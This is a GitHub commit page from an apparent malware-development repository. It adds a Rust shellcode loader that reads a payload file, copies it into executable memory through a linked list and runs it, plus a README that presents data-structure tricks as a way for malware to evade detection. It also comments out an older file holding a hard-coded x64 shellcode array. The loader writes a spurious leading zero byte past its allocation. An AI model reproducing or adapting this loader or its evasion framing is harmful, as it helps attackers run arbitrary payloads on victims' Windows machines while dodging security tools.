Skip to content

Commit 5225445

Browse files
committed
ShellExec through LinkedList and fn()
1 parent 77f324b commit 5225445

File tree

3 files changed

+178
-71
lines changed

3 files changed

+178
-71
lines changed
Lines changed: 83 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -1,85 +1,97 @@
1-
mod encrypt;
2-
mod decrypt;
1+
// mod encrypt;
2+
// mod decrypt;
33

4-
use std::collections::HashMap;
4+
// use std::collections::HashMap;
55

6-
fn main() {
7-
// Example shellcode
8-
let shellcode = [
9-
0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
10-
0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
11-
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
12-
0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
13-
0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
14-
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
15-
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
16-
0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
17-
0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
18-
0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
19-
0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
20-
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
21-
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
22-
0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
23-
0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
24-
0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
25-
0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
26-
0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
27-
0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
28-
0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
29-
0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
30-
0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
31-
0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
32-
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
33-
0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
34-
0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
35-
0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
36-
0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
37-
];
6+
// fn main() {
7+
// // Example shellcode
8+
// let shellcode = [
9+
// 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
10+
// 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
11+
// 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
12+
// 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
13+
// 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
14+
// 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
15+
// 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
16+
// 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
17+
// 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
18+
// 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
19+
// 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
20+
// 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
21+
// 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
22+
// 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
23+
// 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
24+
// 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
25+
// 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
26+
// 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
27+
// 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
28+
// 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
29+
// 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
30+
// 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
31+
// 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
32+
// 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
33+
// 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
34+
// 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
35+
// 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
36+
// 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
37+
// ];
3838

3939

40-
let false_byte = 0x00;
41-
let mut shellcode_map = HashMap::new();
40+
// let false_byte = 0x00;
41+
// let mut shellcode_map = HashMap::new();
4242

43-
let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
44-
// println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
43+
// let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
44+
// // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
4545

46-
println!("Encrypted Shellcode: [");
47-
let mut x = 1;
48-
for byte in encrypted_shellcode.iter(){
49-
print!("0x{:x?}, ", byte);
50-
if x % 8 == 0{
51-
println!();
52-
x = 0;
53-
}
54-
x += 1;
55-
}
46+
// println!("Encrypted Shellcode: [");
47+
// let mut x = 1;
48+
// for byte in encrypted_shellcode.iter(){
49+
// print!("0x{:x?}, ", byte);
50+
// if x % 8 == 0{
51+
// println!();
52+
// x = 0;
53+
// }
54+
// x += 1;
55+
// }
5656

57-
println!("]");
57+
// println!("]");
5858

59-
println!("\n\n");
60-
encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);
59+
// println!("\n\n");
60+
// encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);
6161

62-
let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
63-
// println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
62+
// let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
63+
// // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
6464

6565

66-
println!("Decrypted Shellcode: [");
67-
let mut x = 1;
68-
for byte in decrypted_shellcode.iter(){
69-
print!("0x{:x?}, ", byte);
70-
if x % 8 == 0{
71-
println!();
72-
x = 0;
73-
}
74-
x += 1;
75-
}
66+
// println!("Decrypted Shellcode: [");
67+
// let mut x = 1;
68+
// for byte in decrypted_shellcode.iter(){
69+
// print!("0x{:x?}, ", byte);
70+
// if x % 8 == 0{
71+
// println!();
72+
// x = 0;
73+
// }
74+
// x += 1;
75+
// }
7676

77-
println!("]");
78-
println!("\n\n");
77+
// println!("]");
78+
// println!("\n\n");
79+
80+
// if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
81+
// println!("Original Shellcode: {:x?}", original_shellcode);
82+
// } else {
83+
// eprintln!("Original shellcode not found in map.");
84+
// }
85+
// }
86+
7987

80-
if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
81-
println!("Original Shellcode: {:x?}", original_shellcode);
82-
} else {
83-
eprintln!("Original shellcode not found in map.");
84-
}
88+
fn consume_self<F>(func: F) where F: FnOnce() {
89+
func();
90+
}
91+
92+
fn main() {
93+
let message = "Hello".to_string();
94+
consume_self(move || {
95+
println!("{}", message);
96+
});
8597
}

shellcode_exec/DSA_Exec/README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
## DSA SHellcode Execution Methods
2+
3+
This is my small series about using data structures and algorithms on malware development series.
4+
Feel feel to DM me if you have implemented any Execution methods using DSA Concepts.
5+
6+
### Why DSA ?
7+
8+
Using DSA Will give malware an great advantage to evade detection and optimize the execution speed and efficiency of shellcode, making attacks quicker and less resource-intensive.
9+
10+
Author: [@5mukx](https://x.com/5mukx)
11+
12+
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
/*
2+
* Using LinkedList to Execute Shellcode
3+
* Author : @5mukx
4+
*/
5+
6+
use std::{fs::File, io::{self, Read}, path::Path, ptr::null_mut};
7+
8+
use winapi::um::{errhandlingapi::GetLastError, memoryapi::VirtualAlloc};
9+
10+
fn read_shellcode(file_path: &str) -> io::Result<Vec<u8>>{
11+
let path = Path::new(file_path);
12+
let mut file = File::open(&path)?;
13+
let mut shellcode = Vec::new();
14+
file.read_to_end(&mut shellcode)?;
15+
Ok(shellcode)
16+
}
17+
18+
struct Node{
19+
data: u8,
20+
next: Option<Box<Node>>
21+
}
22+
23+
impl Node {
24+
fn new(data: u8) -> Node {
25+
Node { data, next: None }
26+
}
27+
28+
fn append(&mut self, data: u8) {
29+
match self.next {
30+
None => self.next = Some(Box::new(Node::new(data))),
31+
Some(ref mut child) => child.append(data),
32+
}
33+
}
34+
}
35+
36+
fn main(){
37+
let path = r"D:\\maldev\importer\message.bin";
38+
39+
match read_shellcode(path) {
40+
Ok(shellcode) =>{
41+
println!("Shell Exists. Executing Shellcode");
42+
execute_shellcode(shellcode);
43+
},
44+
Err(e) => eprintln!("Failed to read shellcode: {}", e),
45+
}
46+
47+
}
48+
49+
fn execute_shellcode(shellcode: Vec<u8>){
50+
51+
let mut list_head = Node::new(0);
52+
53+
for &byte in &shellcode {
54+
list_head.append(byte);
55+
}
56+
57+
unsafe {
58+
let mem = VirtualAlloc(
59+
null_mut(),
60+
shellcode.len(),
61+
/* 0x1000 | 0x2000, */ 0x1000,
62+
0x40,
63+
);
64+
65+
if mem.is_null(){
66+
println!("VirtualAlloc FAILED: {:?}", GetLastError());
67+
return;
68+
}
69+
70+
let mut current = Some(&list_head);
71+
let mut ptr = mem as *mut u8;
72+
73+
while let Some(node) = current {
74+
*ptr = node.data;
75+
ptr = ptr.add(1);
76+
current = node.next.as_ref().map(|n| n.as_ref());
77+
}
78+
79+
let shellcode_runner: fn() = std::mem::transmute(mem);
80+
81+
shellcode_runner();
82+
}
83+
}

0 commit comments

Comments
 (0)